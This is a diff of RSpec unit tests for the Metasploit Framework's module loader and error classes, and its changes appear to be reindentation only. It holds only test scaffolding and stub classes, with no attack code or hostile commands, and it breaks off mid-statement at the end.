diff --git a/spec/lib/msf/core/modules/error_spec.rb b/spec/lib/msf/core/modules/error_spec.rb index 724e3fedd7..b67c31308e 100644 --- a/spec/lib/msf/core/modules/error_spec.rb +++ b/spec/lib/msf/core/modules/error_spec.rb @@ -2,101 +2,101 @@ require 'spec_helper' describe Msf::Modules::Error do - context 'instance methods' do - context '#initialize' do + context 'instance methods' do + context '#initialize' do include_context 'Msf::Modules::Error attributes' - context 'with :causal_message' do - subject do - described_class.new(:causal_message => causal_message) - end - - it 'should include causal_message in error' do - subject.to_s.should == "Failed to load module due to #{causal_message}" - end - end - - context 'with :causal_message and :module_path' do - subject do - described_class.new( - :causal_message => causal_message, - :module_path => module_path - ) - end - - it 'should include causal_message and module_path in error' do - subject.to_s.should == "Failed to load module (from #{module_path}) due to #{causal_message}" - end - end - - context 'with :causal_message and :module_reference_name' do + context 'with :causal_message' do subject do - described_class.new( - :causal_message => causal_message, - :module_reference_name => module_reference_name - ) + described_class.new(:causal_message => causal_message) end - it 'should include causal_message and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name}) due to #{causal_message}" - end - end + it 'should include causal_message in error' do + subject.to_s.should == "Failed to load module due to #{causal_message}" + end + end - context 'with :causal_message, :module_path, and :module_reference_nam' do - subject do - described_class.new( - :causal_message => causal_message, - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end + context 'with :causal_message and :module_path' do + subject do + described_class.new( + :causal_message => causal_message, + :module_path => module_path + ) + end - it 'should include causal_message, module_path, and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path}) due to #{causal_message}" - end - end + it 'should include causal_message and module_path in error' do + subject.to_s.should == "Failed to load module (from #{module_path}) due to #{causal_message}" + end + end - context 'with :module_path' do - subject do - described_class.new(:module_path => module_path) - end + context 'with :causal_message and :module_reference_name' do + subject do + described_class.new( + :causal_message => causal_message, + :module_reference_name => module_reference_name + ) + end - it 'should use :module_path for module_path' do - subject.module_path.should == module_path - end + it 'should include causal_message and module_reference_name in error' do + subject.to_s.should == "Failed to load module (#{module_reference_name}) due to #{causal_message}" + end + end - it 'should include module_path in error' do - subject.to_s.should == "Failed to load module (from #{module_path})" - end - end + context 'with :causal_message, :module_path, and :module_reference_nam' do + subject do + described_class.new( + :causal_message => causal_message, + :module_path => module_path, + :module_reference_name => module_reference_name + ) + end - context 'with :module_path and :module_reference_name' do - subject do - described_class.new( - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end + it 'should include causal_message, module_path, and module_reference_name in error' do + subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path}) due to #{causal_message}" + end + end - it 'should include module_path and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path})" - end - end + context 'with :module_path' do + subject do + described_class.new(:module_path => module_path) + end - context 'with :module_reference_name' do - subject do - described_class.new(:module_reference_name => module_reference_name) - end + it 'should use :module_path for module_path' do + subject.module_path.should == module_path + end - it 'should use :module_reference_name for module_reference_name' do - subject.module_reference_name.should == module_reference_name - end + it 'should include module_path in error' do + subject.to_s.should == "Failed to load module (from #{module_path})" + end + end - it 'should include module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name})" - end - end + context 'with :module_path and :module_reference_name' do + subject do + described_class.new( + :module_path => module_path, + :module_reference_name => module_reference_name + ) + end - end - end + it 'should include module_path and module_reference_name in error' do + subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path})" + end + end + + context 'with :module_reference_name' do + subject do + described_class.new(:module_reference_name => module_reference_name) + end + + it 'should use :module_reference_name for module_reference_name' do + subject.module_reference_name.should == module_reference_name + end + + it 'should include module_reference_name in error' do + subject.to_s.should == "Failed to load module (#{module_reference_name})" + end + end + + end + end end diff --git a/spec/lib/msf/core/modules/loader/archive_spec.rb b/spec/lib/msf/core/modules/loader/archive_spec.rb index c65409261d..aafa587f9d 100644 --- a/spec/lib/msf/core/modules/loader/archive_spec.rb +++ b/spec/lib/msf/core/modules/loader/archive_spec.rb @@ -4,273 +4,273 @@ require 'spec_helper' require 'msf/core' describe Msf::Modules::Loader::Archive do - let(:archive_extension) do - '.fastlib' - end + let(:archive_extension) do + '.fastlib' + end - context 'CONSTANTS' do - it 'should have extension' do - described_class::ARCHIVE_EXTENSION.should == archive_extension - end - end + context 'CONSTANTS' do + it 'should have extension' do + described_class::ARCHIVE_EXTENSION.should == archive_extension + end + end - context 'instance methods' do - let(:enabled_type) do - 'exploit' - end + context 'instance methods' do + let(:enabled_type) do + 'exploit' + end - let(:enabled_type_directory) do - 'exploits' - end + let(:enabled_type_directory) do + 'exploits' + end - let(:framework) do - double('Framework') - end + let(:framework) do + double('Framework') + end - let(:module_extension) do - '.rb' - end + let(:module_extension) do + '.rb' + end - let(:module_manager) do - # DO NOT mock module_manager to ensure that no protected methods are being called. - Msf::ModuleManager.new(framework, [enabled_type]) - end + let(:module_manager) do + # DO NOT mock module_manager to ensure that no protected methods are being called. + Msf::ModuleManager.new(framework, [enabled_type]) + end - let(:module_reference_name) do - 'module/reference/name' - end + let(:module_reference_name) do + 'module/reference/name' + end - subject do - described_class.new(module_manager) - end + subject do + described_class.new(module_manager) + end - context '#each_module_reference_name' do - let(:disabled_module_content) do - <<-EOS - class Metasploit3 < Msf::Auxiliary + context '#each_module_reference_name' do + let(:disabled_module_content) do + <<-EOS + class Metasploit3 < Msf::Auxiliary end - EOS - end + EOS + end - let(:disabled_type) do - 'auxiliary' - end + let(:disabled_type) do + 'auxiliary' + end - let(:disabled_type_directory) do - 'auxiliary' - end + let(:disabled_type_directory) do + 'auxiliary' + end - let(:enabled_module_content) do + let(:enabled_module_content) do <<-EOS class Metasploit3 < Msf::Exploit::Remote end EOS - end + end - around(:each) do |example| - Dir.mktmpdir do |directory| - @base_path = directory + around(:each) do |example| + Dir.mktmpdir do |directory| + @base_path = directory - # make a .svn directory to be ignored - subversion_path = File.join(@base_path, '.svn') - FileUtils.mkdir_p subversion_path + # make a .svn directory to be ignored + subversion_path = File.join(@base_path, '.svn') + FileUtils.mkdir_p subversion_path - # make a type directory that should be ignored because it's not enabled - disabled_type_path = File.join(@base_path, disabled_type_directory) - FileUtils.mkdir_p disabled_type_path + # make a type directory that should be ignored because it's not enabled + disabled_type_path = File.join(@base_path, disabled_type_directory) + FileUtils.mkdir_p disabled_type_path - # - # create a valid module in the disabled type directory to make sure it's the enablement that's preventing the - # yield - # + # + # create a valid module in the disabled type directory to make sure it's the enablement that's preventing the + # yield + # - disabled_module_path = File.join(disabled_type_path, "#{disabled_type}#{module_extension}") + disabled_module_path = File.join(disabled_type_path, "#{disabled_type}#{module_extension}") - File.open(disabled_module_path, 'wb') do |f| - f.write(disabled_module_content) - end + File.open(disabled_module_path, 'wb') do |f| + f.write(disabled_module_content) + end - # make a type directory that should not be ignored because it is enabled - enabled_module_path = File.join( - @base_path, - enabled_type_directory, - "#{module_reference_name}#{module_extension}" - ) - enabled_module_directory = File.dirname(enabled_module_path) - FileUtils.mkdir_p enabled_module_directory + # make a type directory that should not be ignored because it is enabled + enabled_module_path = File.join( + @base_path, + enabled_type_directory, + "#{module_reference_name}#{module_extension}" + ) + enabled_module_directory = File.dirname(enabled_module_path) + FileUtils.mkdir_p enabled_module_directory - File.open(enabled_module_path, 'wb') do |f| - f.write(enabled_module_content) - end + File.open(enabled_module_path, 'wb') do |f| + f.write(enabled_module_content) + end - Dir.mktmpdir do |archive_directory| - @archive_path = File.join(archive_directory, "rspec#{archive_extension}") - FastLib.dump(@archive_path, FastLib::FLAG_COMPRESS.to_s(16), @base_path, @base_path) + Dir.mktmpdir do |archive_directory| + @archive_path = File.join(archive_directory, "rspec#{archive_extension}") + FastLib.dump(@archive_path, FastLib::FLAG_COMPRESS.to_s(16), @base_path, @base_path) - # @todo Fix https://www.pivotaltracker.com/story/show/38730815 and the cache won't need to be cleared as a work-around - FastLib.cache.clear + # @todo Fix https://www.pivotaltracker.com/story/show/38730815 and the cache won't need to be cleared as a work-around + FastLib.cache.clear - example.run - end - end - end + example.run + end + end + end - # this checks that the around(:each) is working - it 'should have an existent FastLib' do - File.exist?(@archive_path).should be_true - end + # this checks that the around(:each) is working + it 'should have an existent FastLib' do + File.exist?(@archive_path).should be_true + end - it 'should ignore .svn directories' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - parent_path.should_not include('.svn') - end - end + it 'should ignore .svn directories' do + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + parent_path.should_not include('.svn') + end + end - it 'should ignore types that are not enabled' do - module_manager.type_enabled?(disabled_type).should be_false + it 'should ignore types that are not enabled' do + module_manager.type_enabled?(disabled_type).should be_false - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - type.should_not == disabled_type - end - end + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + type.should_not == disabled_type + end + end - it 'should yield (parent_path, type, module_reference_name) with parent_path equal to the archive path' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - parent_path.should == @archive_path - end - end + it 'should yield (parent_path, type, module_reference_name) with parent_path equal to the archive path' do + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + parent_path.should == @archive_path + end + end - it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do - module_manager.type_enabled?(enabled_type).should be_true + it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do + module_manager.type_enabled?(enabled_type).should be_true - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - type.should == enabled_type - end - end + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + type.should == enabled_type + end + end - it 'should yield (path, type, module_reference_name) with module_reference_name without extension' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - module_reference_name.should_not match(/#{Regexp.escape(module_extension)}$/) - module_reference_name.should == module_reference_name - end - end + it 'should yield (path, type, module_reference_name) with module_reference_name without extension' do + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + module_reference_name.should_not match(/#{Regexp.escape(module_extension)}$/) + module_reference_name.should == module_reference_name + end + end - # ensure that the block is actually being run so that shoulds in the block aren't just being skipped - it 'should yield the correct number of tuples' do - actual_count = 0 + # ensure that the block is actually being run so that shoulds in the block aren't just being skipped + it 'should yield the correct number of tuples' do + actual_count = 0 - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - actual_count += 1 - end + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + actual_count += 1 + end - actual_count.should == 1 - end - end + actual_count.should == 1 + end + end - context '#loadable?' do - it 'should return true if the path has ARCHIVE_EXTENSION as file extension' do - path = "path/to/archive#{archive_extension}" + context '#loadable?' do + it 'should return true if the path has ARCHIVE_EXTENSION as file extension' do + path = "path/to/archive#{archive_extension}" - File.extname(path).should == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_true - end + File.extname(path).should == described_class::ARCHIVE_EXTENSION + subject.loadable?(path).should be_true + end - it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do - path = "path/to/archive#{archive_extension}.bak" + it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do + path = "path/to/archive#{archive_extension}.bak" - path.should include(described_class::ARCHIVE_EXTENSION) - File.extname(path).should_not == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_false - end - end + path.should include(described_class::ARCHIVE_EXTENSION) + File.extname(path).should_not == described_class::ARCHIVE_EXTENSION + subject.loadable?(path).should be_false + end + end - context '#module_path' do - let(:parent_path) do - "path/to/archive#{archive_extension}" - end + context '#module_path' do + let(:parent_path) do + "path/to/archive#{archive_extension}" + end - let(:type) do - 'exploit' - end + let(:type) do + 'exploit' + end - let(:type_directory) do - 'exploits' - end + let(:type_directory) do + 'exploits' + end - it 'should use typed_path to convert the type name to a type directory' do - subject.should_receive(:typed_path).with(type, module_reference_name) + it 'should use typed_path to convert the type name to a type directory' do + subject.should_receive(:typed_path).with(type, module_reference_name) - subject.send(:module_path, parent_path, type, module_reference_name) - end + subject.send(:module_path, parent_path, type, module_reference_name) + end - it "should separate the archive path from the entry path with '::'" do - module_path = subject.send(:module_path, parent_path, type, module_reference_name) + it "should separate the archive path from the entry path with '::'" do + module_path = subject.send(:module_path, parent_path, type, module_reference_name) - module_path.should == "#{parent_path}::#{type_directory}/#{module_reference_name}.rb" - end - end + module_path.should == "#{parent_path}::#{type_directory}/#{module_reference_name}.rb" + end + end - context '#read_module_path' do - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end + context '#read_module_path' do + let(:module_reference_name) do + 'windows/smb/ms08_067_netapi' + end - let(:type) do - enabled_type - end + let(:type) do + enabled_type + end - let(:type_directory) do - enabled_type_directory - end + let(:type_directory) do + enabled_type_directory + end - let(:archived_path) do - File.join(type_directory, "#{module_reference_name}#{module_extension}") - end + let(:archived_path) do + File.join(type_directory, "#{module_reference_name}#{module_extension}") + end - let(:base_path) do - File.join(Msf::Config.install_root, 'modules') - end + let(:base_path) do + File.join(Msf::Config.install_root, 'modules') + end - let(:flag_string) do - flags.to_s(16) - end + let(:flag_string) do + flags.to_s(16) + end - let(:flags) do - 0x0 - end + let(:flags) do + 0x0 + end - let(:unarchived_path) do - File.join(base_path, archived_path) - end + let(:unarchived_path) do + File.join(base_path, archived_path) + end - it 'should read modules that exist' do - File.exist?(unarchived_path).should be_true - end + it 'should read modules that exist' do + File.exist?(unarchived_path).should be_true + end - around(:each) do |example| - Dir.mktmpdir do |directory| - @parent_path = File.join(directory, 'rspec.fastlib') + around(:each) do |example| + Dir.mktmpdir do |directory| + @parent_path = File.join(directory, 'rspec.fastlib') - FastLib.dump(@parent_path, flag_string, base_path, unarchived_path) + FastLib.dump(@parent_path, flag_string, base_path, unarchived_path) - # @todo Fix https://www.pivotaltracker.com/story/show/38730815 so cache from dump is correct - FastLib.cache.clear + # @todo Fix https://www.pivotaltracker.com/story/show/38730815 so cache from dump is correct + FastLib.cache.clear - example.run - end - end + example.run + end + end - context 'with uncompressed archive' do - it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' - end + context 'with uncompressed archive' do + it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' + end - context 'with compressed archive' do - let(:flags) do - FastLib::FLAG_COMPRESS - end + context 'with compressed archive' do + let(:flags) do + FastLib::FLAG_COMPRESS + end - it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' - end - end - end + it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' + end + end + end end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 916b23d0ae..3f6e69063e 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -4,1334 +4,1334 @@ require 'spec_helper' require 'msf/core' describe Msf::Modules::Loader::Base do - include_context 'Msf::Modules::Loader::Base' + include_context 'Msf::Modules::Loader::Base' - let(:described_class_pathname) do - root_pathname.join('lib', 'msf', 'core', 'modules', 'loader', 'base.rb') - end + let(:described_class_pathname) do + root_pathname.join('lib', 'msf', 'core', 'modules', 'loader', 'base.rb') + end - let(:malformed_module_content) do - <<-EOS + let(:malformed_module_content) do + <<-EOS class Metasploit3 # purposeful typo to check that module path is used in backtrace inclde Exploit::Remote::Tcp end - EOS - end + EOS + end - let(:module_content) do - <<-EOS - class Metasploit3 < Msf::Auxiliary + let(:module_content) do + <<-EOS + class Metasploit3 < Msf::Auxiliary # fully-qualified name is Msf::GoodRanking, so this will failing if lexical scope is not captured Rank = GoodRanking end - EOS - end + EOS + end - let(:module_full_name) do - "#{type}/#{module_reference_name}" - end + let(:module_full_name) do + "#{type}/#{module_reference_name}" + end - let(:module_path) do - parent_pathname.join('auxiliary', 'rspec', 'mock.rb').to_s - end + let(:module_path) do + parent_pathname.join('auxiliary', 'rspec', 'mock.rb').to_s + end - let(:module_reference_name) do - 'rspec/mock' - end + let(:module_reference_name) do + 'rspec/mock' + end - let(:type) do - Msf::MODULE_AUX - end + let(:type) do + Msf::MODULE_AUX + end - context 'CONSTANTS' do + context 'CONSTANTS' do - context 'DIRECTORY_BY_TYPE' do - let(:directory_by_type) do - described_class::DIRECTORY_BY_TYPE - end + context 'DIRECTORY_BY_TYPE' do + let(:directory_by_type) do + described_class::DIRECTORY_BY_TYPE + end - it 'should be defined' do - described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_true - end + it 'should be defined' do + described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_true + end - it 'should map Msf::MODULE_AUX to auxiliary' do - directory_by_type[Msf::MODULE_AUX].should == 'auxiliary' - end + it 'should map Msf::MODULE_AUX to auxiliary' do + directory_by_type[Msf::MODULE_AUX].should == 'auxiliary' + end - it 'should map Msf::MODULE_ENCODER to encoders' do - directory_by_type[Msf::MODULE_ENCODER].should == 'encoders' - end + it 'should map Msf::MODULE_ENCODER to encoders' do + directory_by_type[Msf::MODULE_ENCODER].should == 'encoders' + end - it 'should map Msf::MODULE_EXPLOIT to exploits' do - directory_by_type[Msf::MODULE_EXPLOIT].should == 'exploits' - end + it 'should map Msf::MODULE_EXPLOIT to exploits' do + directory_by_type[Msf::MODULE_EXPLOIT].should == 'exploits' + end - it 'should map Msf::MODULE_NOP to nops' do - directory_by_type[Msf::MODULE_NOP].should == 'nops' - end + it 'should map Msf::MODULE_NOP to nops' do + directory_by_type[Msf::MODULE_NOP].should == 'nops' + end - it 'should map Msf::MODULE_PAYLOAD to payloads' do - directory_by_type[Msf::MODULE_PAYLOAD].should == 'payloads' - end + it 'should map Msf::MODULE_PAYLOAD to payloads' do + directory_by_type[Msf::MODULE_PAYLOAD].should == 'payloads' + end - it 'should map Msf::MODULE_POST to post' do - directory_by_type[Msf::MODULE_POST].should == 'post' - end - end + it 'should map Msf::MODULE_POST to post' do + directory_by_type[Msf::MODULE_POST].should == 'post' + end + end - context 'NAMESPACE_MODULE_LINE' do - it 'should be line number for first line of NAMESPACE_MODULE_CONTENT' do - file_lines = [] + context 'NAMESPACE_MODULE_LINE' do + it 'should be line number for first line of NAMESPACE_MODULE_CONTENT' do + file_lines = [] - described_class_pathname.open do |f| - file_lines = f.to_a - end + described_class_pathname.open do |f| + file_lines = f.to_a + end - # -1 because file lines are 1-based, but array is 0-based - file_line = file_lines[described_class::NAMESPACE_MODULE_LINE - 1] + # -1 because file lines are 1-based, but array is 0-based + file_line = file_lines[described_class::NAMESPACE_MODULE_LINE - 1] - constant_lines = described_class::NAMESPACE_MODULE_CONTENT.lines.to_a - constant_line = constant_lines.first + constant_lines = described_class::NAMESPACE_MODULE_CONTENT.lines.to_a + constant_line = constant_lines.first - file_line.should == constant_line - end - end + file_line.should == constant_line + end + end - context 'NAMESPACE_MODULE_CONTENT' do - context 'derived module' do - let(:namespace_module_names) do - ['Msf', 'Modules', 'Mod617578696c696172792f72737065632f6d6f636b'] - end + context 'NAMESPACE_MODULE_CONTENT' do + context 'derived module' do + let(:namespace_module_names) do + ['Msf', 'Modules', 'Mod617578696c696172792f72737065632f6d6f636b'] + end - let(:namespace_module) do - Object.module_eval( - <<-EOS - module #{namespace_module_names[0]} + let(:namespace_module) do + Object.module_eval( + <<-EOS + module #{namespace_module_names[0]} module #{namespace_module_names[1]} module #{namespace_module_names[2]} - #{described_class::NAMESPACE_MODULE_CONTENT} + #{described_class::NAMESPACE_MODULE_CONTENT} end end end - EOS - ) + EOS + ) - namespace_module_names.join('::').constantize - end - - context 'loader' do - it 'should be a read/write attribute' do - loader = double('Loader') - namespace_module.loader = loader - - namespace_module.loader.should == loader - end - end - - context 'module_eval_with_lexical_scope' do - it 'should capture the lexical scope' do - expect { - namespace_module.module_eval_with_lexical_scope(module_content, module_path) - }.to_not raise_error - end - - context 'with malformed module content' do - it 'should use module path in module_eval' do - error = nil - - begin - namespace_module.module_eval_with_lexical_scope(malformed_module_content, module_path) - rescue NoMethodError => error - # don't put the should in the rescue because if there is no error, then the example will still be - # successful. - end - - error.should_not be_nil - error.backtrace[0].should include(module_path) - end - end - end - - context 'parent_path' do - it 'should be a read/write attribute' do - parent_path = double('Parent Path') - namespace_module.parent_path = parent_path - - namespace_module.parent_path.should == parent_path - end - end - end - end - - context 'MODULE_EXTENSION' do - it 'should only support ruby source modules' do - described_class::MODULE_EXTENSION.should == '.rb' - end - end - - context 'MODULE_SEPARATOR' do - it 'should make valid module names' do - name = ['Msf', 'Modules'].join(described_class::MODULE_SEPARATOR) - name.constantize.should == Msf::Modules - end - end - - context 'NAMESPACE_MODULE_NAMES' do - it 'should be under Msf so that Msf constants resolve from lexical scope' do - described_class::NAMESPACE_MODULE_NAMES.should include('Msf') - end - - it "should not be directly under Msf so that modules don't collide with core namespaces" do - direct_index = described_class::NAMESPACE_MODULE_NAMES.index('Msf') - last_index = described_class::NAMESPACE_MODULE_NAMES.length - 1 - - last_index.should > direct_index - end - end - - context 'UNIT_TEST_REGEX' do - it 'should match test suite files' do - described_class::UNIT_TEST_REGEX.should match('rb.ts.rb') - end - - it 'should match unit test files' do - described_class::UNIT_TEST_REGEX.should match('rb.ut.rb') - end - end - end - - context 'class methods' do - context 'typed_path' do - it 'should have MODULE_EXTENSION for the extension name' do - typed_path = described_class.typed_path(Msf::MODULE_AUX, module_reference_name) - - File.extname(typed_path).should == described_class::MODULE_EXTENSION - end - - # Don't iterate over a Hash here as that would too closely mirror the actual implementation and not test anything - it_should_behave_like 'typed_path', 'Msf::MODULE_AUX' => 'auxiliary' - it_should_behave_like 'typed_path', 'Msf::MODULE_ENCODER' => 'encoders' - it_should_behave_like 'typed_path', 'Msf::MODULE_EXPLOIT' => 'exploits' - it_should_behave_like 'typed_path', 'Msf::MODULE_NOP' => 'nops' - it_should_behave_like 'typed_path', 'Msf::MODULE_PAYLOAD' => 'payloads' - it_should_behave_like 'typed_path', 'Msf::MODULE_POST' => 'post' - end - end - - context 'instance methods' do - let(:module_manager) do - double('Module Manager', :module_load_error_by_path => {}) - end - - subject do - described_class.new(module_manager) - end - - context '#initialize' do - it 'should set @module_manager' do - loader = described_class.new(module_manager) - loader.instance_variable_get(:@module_manager).should == module_manager - end - end - - context '#loadable?' do - it 'should be abstract' do - expect { - subject.loadable?(parent_pathname.to_s) - }.to raise_error(NotImplementedError) - end - end - - context '#load_module' do - let(:parent_path) do - parent_pathname.to_s - end - - let(:type) do - Msf::MODULE_AUX - end - - before(:each) do - subject.stub(:module_path => module_path) - end - - it 'should call file_changed? with the module_path' do - module_manager.should_receive(:file_changed?).with(module_path).and_return(false) - - subject.load_module(parent_path, type, module_reference_name, :force => false) - end - - context 'without file changed' do - before(:each) do - module_manager.stub(:file_changed? => false) - end - - it 'should return false if :force is false' do - subject.load_module(parent_path, type, module_reference_name, :force => false).should be_false - end - - it 'should not call #read_module_content' do - subject.should_not_receive(:read_module_content) - subject.load_module(parent_path, type, module_reference_name) - end - end - - context 'with file changed' do - let(:module_full_name) do - File.join('auxiliary', module_reference_name) - end - - let(:namespace_module) do - Msf::Modules.const_get(relative_name) - end - - let(:relative_name) do - 'Mod617578696c696172792f72737065632f6d6f636b' - end - - before(:each) do - # capture in a local so that instance_eval can access it - relative_name = self.relative_name - - # remove module from previous examples so reload error aren't logged - if Msf::Modules.const_defined? relative_name - Msf::Modules.instance_eval do - remove_const relative_name - end - end - - # create an namespace module that can be restored - module Msf - module Modules - module Mod617578696c696172792f72737065632f6d6f636b - class Metasploit3 < Msf::Auxiliary - - end - end - end - end - - @original_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b - - module_manager.stub(:delete).with(module_reference_name) - module_manager.stub(:file_changed?).with(module_path).and_return(true) - - module_set = double('Module Set') - module_set.stub(:delete).with(module_reference_name) - module_manager.stub(:module_set).with(type).and_return(module_set) - end - - it 'should call #namespace_module_transaction with the module full name and :reload => true' do - subject.stub(:read_module_content => module_content) - - subject.should_receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) - - subject.load_module(parent_path, type, module_reference_name) - end - - it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do - module_manager.stub(:on_module_load) - - subject.stub(:read_module_content => module_content) - - subject.load_module(parent_path, type, module_reference_name).should be_true - namespace_module.parent_path.should == parent_path - end - - it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do - module_manager.stub(:on_module_load) - - subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do - subject.stub(:read_module_content => malformed_module_content) - module_manager.stub(:on_module_load) - - # if the module eval error includes the module_path then the module_path was passed along correctly - subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/) - subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_false - end - - context 'with empty module content' do - before(:each) do - subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return('') - end - - it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should not attempt to make a new namespace_module' do - subject.should_not_receive(:namespace_module_transaction) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - - context 'with errors from namespace_module_eval_with_lexical_scope' do - before(:each) do - @namespace_module = double('Namespace Module') - @namespace_module.stub(:parent_path=) - - subject.stub(:namespace_module_transaction).and_yield(@namespace_module) - module_content = double('Module Content', :empty? => false) - subject.stub(:read_module_content).and_return(module_content) - end - - context 'with Interrupt' do - it 'should re-raise' do - @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(Interrupt) - - expect { - subject.load_module(parent_path, type, module_reference_name) - }.to raise_error(Interrupt) - end - end - - context 'with other Exception' do - let(:backtrace) do - [ - 'Backtrace Line 1', - 'Backtrace Line 2' - ] - end - - let(:error) do - error_class.new(error_message) - end - - let(:error_class) do - ArgumentError - end - - let(:error_message) do - 'This is rspec. Your argument is invalid.' - end - - before(:each) do - @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(error) - - @module_load_error_by_path = {} - module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) - - error.stub(:backtrace => backtrace) - end - - context 'with version compatibility' do - before(:each) do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) - end - - it 'should record the load error using the original error' do - subject.should_receive(:load_error).with(module_path, error) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - - context 'without version compatibility' do - let(:version_compatibility_error) do - Msf::Modules::VersionCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name, - :minimum_api_version => infinity, - :minimum_core_version => infinity - ) - end - - let(:infinity) do - 0.0 / 0.0 - end - - before(:each) do - @namespace_module.stub( - :version_compatible! - ).with( - module_path, - module_reference_name - ).and_raise( - version_compatibility_error - ) - end - - it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do - subject.should_receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - - it 'should return false' do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) - - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - end - - context 'without module_eval errors' do - before(:each) do - @namespace_module = double('Namespace Module') - @namespace_module.stub(:parent_path=) - @namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path) - - metasploit_class = double('Metasploit Class', :parent => @namespace_module) - @namespace_module.stub(:metasploit_class! => metasploit_class) - - subject.stub(:namespace_module_transaction).and_yield(@namespace_module) - - subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - - @module_load_error_by_path = {} - module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) - end - - it 'should check for version compatibility' do - module_manager.stub(:on_module_load) - - @namespace_module.should_receive(:version_compatible!).with(module_path, module_reference_name) - subject.load_module(parent_path, type, module_reference_name) - end - - context 'without version compatibility' do - let(:version_compatibility_error) do - Msf::Modules::VersionCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name, - :minimum_api_version => infinity, - :minimum_core_version => infinity - ) - end - - let(:infinity) do - 0.0 / 0.0 - end - - before(:each) do - @namespace_module.stub( - :version_compatible! - ).with( - module_path, - module_reference_name - ).and_raise( - version_compatibility_error - ) - end - - it 'should record the load error' do - subject.should_receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should restore the old namespace module' do - - end - end - - context 'with version compatibility' do - before(:each) do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) - - module_manager.stub(:on_module_load) - end - - context 'without metasploit_class' do - let(:error) do - Msf::Modules::MetasploitClassCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end - - before(:each) do - @namespace_module.stub(:metasploit_class!).with(module_path, module_reference_name).and_raise(error) - end - - it 'should record load error' do - subject.should_receive( - :load_error - ).with( - module_path, - kind_of(Msf::Modules::MetasploitClassCompatibilityError) - ) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - Msf::Modules.const_defined?(relative_name).should be_true - Msf::Modules.const_get(relative_name).should == @original_namespace_module - end - end - - context 'with metasploit_class' do - let(:metasploit_class) do - double('Metasploit Class') - end - - before(:each) do - @namespace_module.stub(:metasploit_class! => metasploit_class) - end - - it 'should check if it is usable' do - subject.should_receive(:usable?).with(metasploit_class).and_return(true) - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - context 'without usable metasploit_class' do - before(:each) do - subject.stub(:usable? 